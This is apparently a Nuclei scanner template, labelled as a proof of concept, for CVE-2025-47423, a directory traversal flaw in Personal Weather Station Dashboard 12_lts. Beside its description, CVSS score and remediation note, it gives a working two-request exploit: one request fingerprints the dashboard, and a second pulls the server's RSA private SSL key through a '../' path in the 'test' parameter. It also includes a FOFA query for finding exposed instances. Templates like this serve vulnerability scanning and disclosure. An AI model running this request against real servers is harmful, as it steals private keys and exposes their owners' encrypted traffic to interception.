Personal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.
PoC
id: CVE-2025-47423
info:
name: Personal Weather Station Dashboard 12 - Directory Traversal
author: pussycat0x
severity: high
description: |
Personal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.
impact: |
Unauthenticated attackers can read arbitrary files including private SSL keys through directory traversal in the test parameter, potentially exposing sensitive cryptographic material.
remediation: |
Upgrade Personal Weather Station Dashboard to a version later than 12_lts that properly validates file paths.
reference:
- https://github.com/Haluka92/CVE-2025-47423
- https://pwsdashboard.com/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
cvss-score: 5.8
cve-id: CVE-2025-47423
cwe-id: CWE-24
epss-score: 0.01996
epss-percentile: 0.79688
metadata:
fofa-query: title="PWS Dashboard"
max-request: 2
tags: cve,cve2025,lfi,pws,traversal,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "PWS Dashboard</title>"
internal: true
- raw:
- |
GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "BEGIN RSA PRIVATE KEY"
- "END RSA PRIVATE KEY"
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502201362c3b24e082c14d701a14a7b20397ebf2c67ad76e5c4aae752a070f5e16063022100b866eb3f39ce86339f6c30434de98c170840d0249a2f55f507fd62680ce0a91b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.